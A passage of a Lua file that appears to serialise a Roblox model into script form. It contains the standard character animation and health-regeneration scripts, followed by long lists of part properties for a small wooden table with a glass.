- { id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
- },
- dance2 = {
- { id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
- },
- dance3 = {
- { id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
- },
- laugh = {
- { id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
- },
- cheer = {
- { id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
- },
- }
- -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
- local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
- math.randomseed(tick())
- function configureAnimationSet(name, fileList)
- if (animTable[name] ~= nil) then
- for _, connection in pairs(animTable[name].connections) do
- connection:disconnect()
- end
- end
- animTable[name] = {}
- animTable[name].count = 0
- animTable[name].totalWeight = 0
- animTable[name].connections = {}
- local allowCustomAnimations = true
- local AllowDisableCustomAnimsUserFlag = false
- local success, msg = pcall(function()
- AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
- end)
- if (AllowDisableCustomAnimsUserFlag) then
- allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations
- end
- -- check for config values
- local config = script:FindFirstChild(name)
- if (allowCustomAnimations and config ~= nil) then
- table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
- table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
- local idx = 1
- for _, childPart in pairs(config:GetChildren()) do
- if (childPart:IsA("Animation")) then
- table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
- animTable[name][idx] = {}
- animTable[name][idx].anim = childPart
- local weightObject = childPart:FindFirstChild("Weight")
- if (weightObject == nil) then
- animTable[name][idx].weight = 1
- else
- animTable[name][idx].weight = weightObject.Value
- end
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
- idx = idx + 1
- end
- end
- end
- -- fallback to defaults
- if (animTable[name].count <= 0) then
- for idx, anim in pairs(fileList) do
- animTable[name][idx] = {}
- animTable[name][idx].anim = Instance.new("Animation")
- animTable[name][idx].anim.Name = name
- animTable[name][idx].anim.AnimationId = anim.id
- animTable[name][idx].weight = anim.weight
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
- -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
- end
- end
- end
- -- Setup animation objects
- function scriptChildModified(child)
- local fileList = animNames[child.Name]
- if (fileList ~= nil) then
- configureAnimationSet(child.Name, fileList)
- end
- end
- script.ChildAdded:connect(scriptChildModified)
- script.ChildRemoved:connect(scriptChildModified)
- for name, fileList in pairs(animNames) do
- configureAnimationSet(name, fileList)
- end
- -- ANIMATION
- -- declarations
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpAnimTime = 0
- local jumpAnimDuration = 0.31
- local toolTransitionTime = 0.1
- local fallTransitionTime = 0.2
- -- functions
- function stopAllAnimations()
- local oldAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
- oldAnim = "idle"
- end
- currentAnim = ""
- currentAnimInstance = nil
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop()
- currentAnimTrack:Destroy()
- currentAnimTrack = nil
- end
- -- clean up walk if there is one
- if (runAnimKeyframeHandler ~= nil) then
- runAnimKeyframeHandler:disconnect()
- end
- if (runAnimTrack ~= nil) then
- runAnimTrack:Stop()
- runAnimTrack:Destroy()
- runAnimTrack = nil
- end
- return oldAnim
- end
- function getHeightScale()
- if Humanoid then
- local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
- if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
- return bodyHeightScale.Value
- end
- end
- return 1
- end
- local smallButNotZero = 0.0001
- function setRunSpeed(speed)
- if speed < 0.33 then
- currentAnimTrack:AdjustWeight(1.0)
- runAnimTrack:AdjustWeight(smallButNotZero)
- elseif speed < 0.66 then
- local weight = ((speed - 0.33) / 0.33)
- currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
- runAnimTrack:AdjustWeight(weight + smallButNotZero)
- else
- currentAnimTrack:AdjustWeight(smallButNotZero)
- runAnimTrack:AdjustWeight(1.0)
- end
- local speedScaled = speed * 1.25
- local heightScale = getHeightScale()
- runAnimTrack:AdjustSpeed(speedScaled / heightScale)
- currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
- end
- function setAnimationSpeed(speed)
- if speed ~= currentAnimSpeed then
- currentAnimSpeed = speed
- if currentAnim == "walk" then
- setRunSpeed(speed)
- else
- currentAnimTrack:AdjustSpeed(currentAnimSpeed)
- end
- end
- end
- function keyFrameReachedFunc(frameName)
- if (frameName == "End") then
- if currentAnim == "walk" then
- runAnimTrack.TimePosition = 0.0
- currentAnimTrack.TimePosition = 0.0
- else
- local repeatAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
- repeatAnim = "idle"
- end
- local animSpeed = currentAnimSpeed
- playAnimation(repeatAnim, 0.15, Humanoid)
- setAnimationSpeed(animSpeed)
- end
- end
- end
- function rollAnimation(animName)
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- return idx
- end
- function playAnimation(animName, transitionTime, humanoid)
- local idx = rollAnimation(animName)
- local anim = animTable[animName][idx].anim
- -- switch animation
- if (anim ~= currentAnimInstance) then
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop(transitionTime)
- currentAnimTrack:Destroy()
- end
- if (runAnimTrack ~= nil) then
- runAnimTrack:Stop(transitionTime)
- runAnimTrack:Destroy()
- end
- currentAnimSpeed = 1.0
- -- load it to the humanoid; get AnimationTrack
- currentAnimTrack = humanoid:LoadAnimation(anim)
- currentAnimTrack.Priority = Enum.AnimationPriority.Core
- -- play the animation
- currentAnimTrack:Play(transitionTime)
- currentAnim = animName
- currentAnimInstance = anim
- -- set up keyframe name triggers
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- -- check to see if we need to blend a walk/run animation
- if animName == "walk" then
- local runAnimName = "run"
- local runIdx = rollAnimation(runAnimName)
- runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
- runAnimTrack.Priority = Enum.AnimationPriority.Core
- runAnimTrack:Play(transitionTime)
- if (runAnimKeyframeHandler ~= nil) then
- runAnimKeyframeHandler:disconnect()
- end
- runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- end
- end
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- local toolAnimName = ""
- local toolAnimTrack = nil
- local toolAnimInstance = nil
- local currentToolAnimKeyframeHandler = nil
- function toolKeyFrameReachedFunc(frameName)
- if (frameName == "End") then
- playToolAnimation(toolAnimName, 0.0, Humanoid)
- end
- end
- function playToolAnimation(animName, transitionTime, humanoid, priority)
- local idx = rollAnimation(animName)
- local anim = animTable[animName][idx].anim
- if (toolAnimInstance ~= anim) then
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- transitionTime = 0
- end
- -- load it to the humanoid; get AnimationTrack
- toolAnimTrack = humanoid:LoadAnimation(anim)
- if priority then
- toolAnimTrack.Priority = priority
- end
- -- play the animation
- toolAnimTrack:Play(transitionTime)
- toolAnimName = animName
- toolAnimInstance = anim
- currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
- end
- end
- function stopToolAnimations()
- local oldAnim = toolAnimName
- if (currentToolAnimKeyframeHandler ~= nil) then
- currentToolAnimKeyframeHandler:disconnect()
- end
- toolAnimName = ""
- toolAnimInstance = nil
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- toolAnimTrack = nil
- end
- return oldAnim
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- -- STATE CHANGE HANDLERS
- function onRunning(speed)
- if speed > 0.5 then
- local scale = 16.0
- playAnimation("walk", 0.2, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Running"
- else
- if emoteNames[currentAnim] == nil then
- playAnimation("idle", 0.2, Humanoid)
- pose = "Standing"
- end
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- playAnimation("jump", 0.1, Humanoid)
- jumpAnimTime = jumpAnimDuration
- pose = "Jumping"
- end
- function onClimbing(speed)
- local scale = 5.0
- playAnimation("climb", 0.1, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- if (jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- end
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- function onSwimming(speed)
- if speed > 1.00 then
- local scale = 10.0
- playAnimation("swim", 0.4, Humanoid)
- setAnimationSpeed(speed / scale)
- pose = "Swimming"
- else
- playAnimation("swimidle", 0.4, Humanoid)
- pose = "Standing"
- end
- end
- function animateTool()
- if (toolAnim == "None") then
- playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
- return
- end
- if (toolAnim == "Slash") then
- playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
- return
- end
- if (toolAnim == "Lunge") then
- playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
- return
- end
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- local lastTick = 0
- function stepAnimate(currentTime)
- local amplitude = 1
- local frequency = 1
- local deltaTime = currentTime - lastTick
- lastTick = currentTime
- local climbFudge = 0
- local setAngles = false
- if (jumpAnimTime > 0) then
- jumpAnimTime = jumpAnimTime - deltaTime
- end
- if (pose == "FreeFall" and jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- elseif (pose == "Seated") then
- playAnimation("sit", 0.5, Humanoid)
- return
- elseif (pose == "Running") then
- playAnimation("walk", 0.2, Humanoid)
- elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
- stopAllAnimations()
- amplitude = 0.1
- frequency = 1
- setAngles = true
- end
- -- Tool Animation handling
- local tool = Character:FindFirstChildOfClass("Tool")
- if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
- local animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = currentTime + .3
- end
- if currentTime > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- stopToolAnimations()
- toolAnim = "None"
- toolAnimInstance = nil
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- setup emote chat hook
- game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
- local emote = ""
- if (string.sub(msg, 1, 3) == "/e ") then
- emote = string.sub(msg, 4)
- elseif (string.sub(msg, 1, 7) == "/emote ") then
- emote = string.sub(msg, 8)
- end
- if (pose == "Standing" and emoteNames[emote] ~= nil) then
- playAnimation(emote, 0.1, Humanoid)
- end
- end)
- -- initialize to idle
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- -- loop to handle timed state transitions and tool animations
- while Character.Parent ~= nil do
- local _, currentGameTime = wait(0.1)
- stepAnimate(currentGameTime)
- end
- end))
- StringValue119.Name = "cheer"
- StringValue119.Parent = LocalScript118
- Animation120.Name = "CheerAnim"
- Animation120.Parent = StringValue119
- Animation120.AnimationId = "http://www.roblox.com/asset/?id=507770677"
- StringValue121.Name = "climb"
- StringValue121.Parent = LocalScript118
- Animation122.Name = "ClimbAnim"
- Animation122.Parent = StringValue121
- Animation122.AnimationId = "http://www.roblox.com/asset/?id=507765644"
- StringValue123.Name = "dance"
- StringValue123.Parent = LocalScript118
- Animation124.Name = "Animation1"
- Animation124.Parent = StringValue123
- Animation124.AnimationId = "http://www.roblox.com/asset/?id=507771019"
- NumberValue125.Name = "Weight"
- NumberValue125.Parent = Animation124
- NumberValue125.Value = 10
- Animation126.Name = "Animation2"
- Animation126.Parent = StringValue123
- Animation126.AnimationId = "http://www.roblox.com/asset/?id=507771955"
- NumberValue127.Name = "Weight"
- NumberValue127.Parent = Animation126
- NumberValue127.Value = 10
- Animation128.Name = "Animation3"
- Animation128.Parent = StringValue123
- Animation128.AnimationId = "http://www.roblox.com/asset/?id=507772104"
- NumberValue129.Name = "Weight"
- NumberValue129.Parent = Animation128
- NumberValue129.Value = 10
- StringValue130.Name = "dance2"
- StringValue130.Parent = LocalScript118
- Animation131.Name = "Animation1"
- Animation131.Parent = StringValue130
- Animation131.AnimationId = "http://www.roblox.com/asset/?id=507776043"
- NumberValue132.Name = "Weight"
- NumberValue132.Parent = Animation131
- NumberValue132.Value = 10
- Animation133.Name = "Animation2"
- Animation133.Parent = StringValue130
- Animation133.AnimationId = "http://www.roblox.com/asset/?id=507776720"
- NumberValue134.Name = "Weight"
- NumberValue134.Parent = Animation133
- NumberValue134.Value = 10
- Animation135.Name = "Animation3"
- Animation135.Parent = StringValue130
- Animation135.AnimationId = "http://www.roblox.com/asset/?id=507776879"
- NumberValue136.Name = "Weight"
- NumberValue136.Parent = Animation135
- NumberValue136.Value = 10
- StringValue137.Name = "dance3"
- StringValue137.Parent = LocalScript118
- Animation138.Name = "Animation1"
- Animation138.Parent = StringValue137
- Animation138.AnimationId = "http://www.roblox.com/asset/?id=507777268"
- NumberValue139.Name = "Weight"
- NumberValue139.Parent = Animation138
- NumberValue139.Value = 10
- Animation140.Name = "Animation2"
- Animation140.Parent = StringValue137
- Animation140.AnimationId = "http://www.roblox.com/asset/?id=507777451"
- NumberValue141.Name = "Weight"
- NumberValue141.Parent = Animation140
- NumberValue141.Value = 10
- Animation142.Name = "Animation3"
- Animation142.Parent = StringValue137
- Animation142.AnimationId = "http://www.roblox.com/asset/?id=507777623"
- NumberValue143.Name = "Weight"
- NumberValue143.Parent = Animation142
- NumberValue143.Value = 10
- StringValue144.Name = "fall"
- StringValue144.Parent = LocalScript118
- Animation145.Name = "FallAnim"
- Animation145.Parent = StringValue144
- Animation145.AnimationId = "http://www.roblox.com/asset/?id=507767968"
- StringValue146.Name = "idle"
- StringValue146.Parent = LocalScript118
- Animation147.Name = "Animation1"
- Animation147.Parent = StringValue146
- Animation147.AnimationId = "http://www.roblox.com/asset/?id=507766388"
- NumberValue148.Name = "Weight"
- NumberValue148.Parent = Animation147
- NumberValue148.Value = 9
- Animation149.Name = "Animation2"
- Animation149.Parent = StringValue146
- Animation149.AnimationId = "http://www.roblox.com/asset/?id=507766666"
- NumberValue150.Name = "Weight"
- NumberValue150.Parent = Animation149
- NumberValue150.Value = 1
- StringValue151.Name = "jump"
- StringValue151.Parent = LocalScript118
- Animation152.Name = "JumpAnim"
- Animation152.Parent = StringValue151
- Animation152.AnimationId = "http://www.roblox.com/asset/?id=507765000"
- StringValue153.Name = "laugh"
- StringValue153.Parent = LocalScript118
- Animation154.Name = "LaughAnim"
- Animation154.Parent = StringValue153
- Animation154.AnimationId = "http://www.roblox.com/asset/?id=507770818"
- StringValue155.Name = "point"
- StringValue155.Parent = LocalScript118
- Animation156.Name = "PointAnim"
- Animation156.Parent = StringValue155
- Animation156.AnimationId = "http://www.roblox.com/asset/?id=507770453"
- StringValue157.Name = "run"
- StringValue157.Parent = LocalScript118
- Animation158.Name = "RunAnim"
- Animation158.Parent = StringValue157
- Animation158.AnimationId = "http://www.roblox.com/asset/?id=507767714"
- StringValue159.Name = "sit"
- StringValue159.Parent = LocalScript118
- Animation160.Name = "SitAnim"
- Animation160.Parent = StringValue159
- Animation160.AnimationId = "http://www.roblox.com/asset/?id=507768133"
- StringValue161.Name = "swim"
- StringValue161.Parent = LocalScript118
- Animation162.Name = "Swim"
- Animation162.Parent = StringValue161
- Animation162.AnimationId = "http://www.roblox.com/asset/?id=507784897"
- StringValue163.Name = "swimidle"
- StringValue163.Parent = LocalScript118
- Animation164.Name = "SwimIdle"
- Animation164.Parent = StringValue163
- Animation164.AnimationId = "http://www.roblox.com/asset/?id=481825862"
- StringValue165.Name = "toollunge"
- StringValue165.Parent = LocalScript118
- Animation166.Name = "ToolLungeAnim"
- Animation166.Parent = StringValue165
- Animation166.AnimationId = "http://www.roblox.com/asset/?id=522638767"
- StringValue167.Name = "toolnone"
- StringValue167.Parent = LocalScript118
- Animation168.Name = "ToolNoneAnim"
- Animation168.Parent = StringValue167
- Animation168.AnimationId = "http://www.roblox.com/asset/?id=507768375"
- StringValue169.Name = "toolslash"
- StringValue169.Parent = LocalScript118
- Animation170.Name = "ToolSlashAnim"
- Animation170.Parent = StringValue169
- Animation170.AnimationId = "http://www.roblox.com/asset/?id=522635514"
- StringValue171.Name = "walk"
- StringValue171.Parent = LocalScript118
- Animation172.Name = "WalkAnim"
- Animation172.Parent = StringValue171
- Animation172.AnimationId = "http://www.roblox.com/asset/?id=540798782"
- StringValue173.Name = "wave"
- StringValue173.Parent = LocalScript118
- Animation174.Name = "WaveAnim"
- Animation174.Parent = StringValue173
- Animation174.AnimationId = "http://www.roblox.com/asset/?id=507770239"
- Script175.Name = "Health"
- Script175.Parent = Model5
- table.insert(cors,sandbox(Script175,function()
- --Responsible for regening a player's humanoid's health
- -- declarations
- local Figure = script.Parent
- local Head = Figure:WaitForChild("Head")
- local Humanoid = Figure:WaitForChild("Humanoid")
- local regening = false
- -- regeneration
- function regenHealth()
- if regening then return end
- regening = true
- while Humanoid.Health < Humanoid.MaxHealth do
- local s = wait(1)
- local health = Humanoid.Health
- if health > 0 and health < Humanoid.MaxHealth then
- local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
- health = health + newHealthDelta
- Humanoid.Health = math.min(health,Humanoid.MaxHealth)
- end
- end
- if Humanoid.Health > Humanoid.MaxHealth then
- Humanoid.Health = Humanoid.MaxHealth
- end
- regening = false
- end
- Humanoid.HealthChanged:connect(regenHealth)
- end))
- Model176.Parent = Script175
- Part177.Parent = Model176
- Part177.CFrame = CFrame.new(226.939011, 0.98249203, -13.6600342, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
- Part177.Orientation = Vector3.new(0, -90, -90)
- Part177.Position = Vector3.new(226.939011, 0.98249203, -13.6600342)
- Part177.Rotation = Vector3.new(90, -90, 0)
- Part177.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part177.Anchored = true
- Part177.BrickColor = BrickColor.new("Dark stone grey")
- Part177.brickColor = BrickColor.new("Dark stone grey")
- Part177.FormFactor = Enum.FormFactor.Custom
- Part177.formFactor = Enum.FormFactor.Custom
- CylinderMesh178.Parent = Part177
- Part179.Parent = Model176
- Part179.CFrame = CFrame.new(234.739059, 0.98249203, -13.6600304, 1.00000501, 0, 0, 0, 0, 1, 0, -1.00000501, 0)
- Part179.Orientation = Vector3.new(-90, 0, 0)
- Part179.Position = Vector3.new(234.739059, 0.98249203, -13.6600304)
- Part179.Rotation = Vector3.new(-90, 0, 0)
- Part179.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part179.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part179.Anchored = true
- Part179.BrickColor = BrickColor.new("Dark stone grey")
- Part179.brickColor = BrickColor.new("Dark stone grey")
- Part179.FormFactor = Enum.FormFactor.Custom
- Part179.formFactor = Enum.FormFactor.Custom
- CylinderMesh180.Parent = Part179
- Part181.Parent = Model176
- Part181.CFrame = CFrame.new(234.739059, 2.98249102, -13.6600304, 1.00000501, 0, 0, 0, 0, 1, 0, -1.00000501, 0)
- Part181.Orientation = Vector3.new(-90, 0, 0)
- Part181.Position = Vector3.new(234.739059, 2.98249102, -13.6600304)
- Part181.Rotation = Vector3.new(-90, 0, 0)
- Part181.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part181.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part181.Anchored = true
- Part181.BrickColor = BrickColor.new("Dark stone grey")
- Part181.brickColor = BrickColor.new("Dark stone grey")
- Part181.FormFactor = Enum.FormFactor.Custom
- Part181.formFactor = Enum.FormFactor.Custom
- CylinderMesh182.Parent = Part181
- Part183.Name = "Nail"
- Part183.Parent = Model176
- Part183.CFrame = CFrame.new(226.939011, 2.98249102, -13.6600342, 0, 0, -1.00000501, -1, 0, 0, -0, 1.00000501, 0)
- Part183.Orientation = Vector3.new(0, -90, -90)
- Part183.Position = Vector3.new(226.939011, 2.98249102, -13.6600342)
- Part183.Rotation = Vector3.new(90, -90, 0)
- Part183.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part183.Anchored = true
- Part183.BottomSurface = Enum.SurfaceType.Smooth
- Part183.BrickColor = BrickColor.new("Dark stone grey")
- Part183.TopSurface = Enum.SurfaceType.Smooth
- Part183.brickColor = BrickColor.new("Dark stone grey")
- Part183.FormFactor = Enum.FormFactor.Custom
- Part183.formFactor = Enum.FormFactor.Custom
- CylinderMesh184.Parent = Part183
- Part185.Parent = Model176
- Part185.CFrame = CFrame.new(234.73909, 3.58251095, -14.2600241, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part185.Orientation = Vector3.new(0, 90, 0)
- Part185.Position = Vector3.new(234.73909, 3.58251095, -14.2600241)
- Part185.Rotation = Vector3.new(0, 90, 0)
- Part185.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part185.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part185.Anchored = true
- Part185.BrickColor = BrickColor.new("Dark stone grey")
- Part185.brickColor = BrickColor.new("Dark stone grey")
- Part185.FormFactor = Enum.FormFactor.Custom
- Part185.formFactor = Enum.FormFactor.Custom
- CylinderMesh186.Parent = Part185
- Part187.Parent = Model176
- Part187.CFrame = CFrame.new(234.339111, 6.48262405, -13.9600182, -1.00000501, 0, 1.69874056e-06, 2.23517418e-08, 0.99999994, 2.90106072e-09, -1.69874056e-06, 8.18549308e-12, -1.00000501)
- Part187.Orientation = Vector3.new(0, 180, 0)
- Part187.Position = Vector3.new(234.339111, 6.48262405, -13.9600182)
- Part187.Rotation = Vector3.new(-180, 0, -180)
- Part187.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part187.Size = Vector3.new(0.999999344, 5.99999857, 0.400000006)
- Part187.Anchored = true
- Part187.BrickColor = BrickColor.new("Brown")
- Part187.Material = Enum.Material.Wood
- Part187.TopSurface = Enum.SurfaceType.Smooth
- Part187.brickColor = BrickColor.new("Brown")
- Part187.FormFactor = Enum.FormFactor.Custom
- Part187.formFactor = Enum.FormFactor.Custom
- Part188.Parent = Model176
- Part188.CFrame = CFrame.new(230.839035, 1.88249195, -13.9600296, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part188.Orientation = Vector3.new(0, 180, 0)
- Part188.Position = Vector3.new(230.839035, 1.88249195, -13.9600296)
- Part188.Rotation = Vector3.new(-180, 0, -180)
- Part188.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part188.Size = Vector3.new(7.99999619, 2.4000001, 0.400000006)
- Part188.Anchored = true
- Part188.BrickColor = BrickColor.new("Brown")
- Part188.Material = Enum.Material.Wood
- Part188.TopSurface = Enum.SurfaceType.Smooth
- Part188.brickColor = BrickColor.new("Brown")
- Part188.FormFactor = Enum.FormFactor.Custom
- Part188.formFactor = Enum.FormFactor.Custom
- Part189.Parent = Model176
- Part189.CFrame = CFrame.new(234.73909, 3.58251095, -16.2600365, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part189.Orientation = Vector3.new(0, 90, 0)
- Part189.Position = Vector3.new(234.73909, 3.58251095, -16.2600365)
- Part189.Rotation = Vector3.new(0, 90, 0)
- Part189.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200001463)
- Part189.Anchored = true
- Part189.BrickColor = BrickColor.new("Dark stone grey")
- Part189.brickColor = BrickColor.new("Dark stone grey")
- Part189.FormFactor = Enum.FormFactor.Custom
- Part189.formFactor = Enum.FormFactor.Custom
- CylinderMesh190.Parent = Part189
- Part191.Parent = Model176
- Part191.CFrame = CFrame.new(226.939056, 3.58247995, -16.2600327, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part191.Orientation = Vector3.new(0, 90, 0)
- Part191.Position = Vector3.new(226.939056, 3.58247995, -16.2600327)
- Part191.Rotation = Vector3.new(0, 90, 0)
- Part191.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part191.Anchored = true
- Part191.BrickColor = BrickColor.new("Dark stone grey")
- Part191.brickColor = BrickColor.new("Dark stone grey")
- Part191.FormFactor = Enum.FormFactor.Custom
- Part191.formFactor = Enum.FormFactor.Custom
- CylinderMesh192.Parent = Part191
- Part193.Parent = Model176
- Part193.CFrame = CFrame.new(230.839066, 3.28251696, -15.0600281, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part193.Orientation = Vector3.new(0, 180, 0)
- Part193.Position = Vector3.new(230.839066, 3.28251696, -15.0600281)
- Part193.Rotation = Vector3.new(-180, 0, -180)
- Part193.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part193.Size = Vector3.new(7.99999666, 0.400000006, 2.60000014)
- Part193.Anchored = true
- Part193.BrickColor = BrickColor.new("Brown")
- Part193.Material = Enum.Material.Wood
- Part193.TopSurface = Enum.SurfaceType.Smooth
- Part193.brickColor = BrickColor.new("Brown")
- Part193.FormFactor = Enum.FormFactor.Custom
- Part193.formFactor = Enum.FormFactor.Custom
- Part194.Parent = Model176
- Part194.CFrame = CFrame.new(227.039017, 1.88249195, -15.2600365, 0, 0, 1.00000501, 0, 1, 0, -1.00000501, 0, 0)
- Part194.Orientation = Vector3.new(0, 90, 0)
- Part194.Position = Vector3.new(227.039017, 1.88249195, -15.2600365)
- Part194.Rotation = Vector3.new(0, 90, 0)
- Part194.Color = Color3.new(0.486275, 0.360784, 0.27451)
- Part194.Size = Vector3.new(2.19999957, 2.4000001, 0.399999857)
- Part194.Anchored = true
- Part194.BrickColor = BrickColor.new("Brown")
- Part194.Material = Enum.Material.Wood
- Part194.TopSurface = Enum.SurfaceType.Smooth
- Part194.brickColor = BrickColor.new("Brown")
- Part194.FormFactor = Enum.FormFactor.Custom
- Part194.formFactor = Enum.FormFactor.Custom
- Part195.Name = "Glass"
- Part195.Parent = Model176
- Part195.CFrame = CFrame.new(232.939056, 4.09100389, -15.0600319, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part195.Orientation = Vector3.new(0, 180, 0)
- Part195.Position = Vector3.new(232.939056, 4.09100389, -15.0600319)
- Part195.Rotation = Vector3.new(-180, 0, -180)
- Part195.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part195.Transparency = 0.54000002145767
- Part195.Size = Vector3.new(1.4000001, 1.20000005, 1.4000001)
- Part195.Anchored = true
- Part195.BottomSurface = Enum.SurfaceType.Smooth
- Part195.BrickColor = BrickColor.new("White")
- Part195.TopSurface = Enum.SurfaceType.Smooth
- Part195.brickColor = BrickColor.new("White")
- Part195.FormFactor = Enum.FormFactor.Custom
- Part195.formFactor = Enum.FormFactor.Custom
- CylinderMesh196.Parent = Part195
- Part197.Name = "Liquid"
- Part197.Parent = Model176
- Part197.CFrame = CFrame.new(232.939056, 4.18246794, -15.1600304, -1.00000501, 0, 0, 0, 1, 0, 0, 0, -1.00000501)
- Part197.Orientation = Vector3.new(0, 180, 0)
- Part197.Position = Vector3.new(232.939056, 4.18246794, -15.1600304)
- Part197.Rotation = Vector3.new(-180, 0, -180)
- Part197.Color = Color3.new(0.960784, 0.803922, 0.188235)
- Part197.Transparency = 0.30000001192093
- Part197.Size = Vector3.new(1.4000001, 1.20000005, 1.20000005)
- Part197.Anchored = true
- Part197.BottomSurface = Enum.SurfaceType.Smooth
- Part197.BrickColor = BrickColor.new("Bright yellow")
- Part197.Reflectance = 0.10000000149012
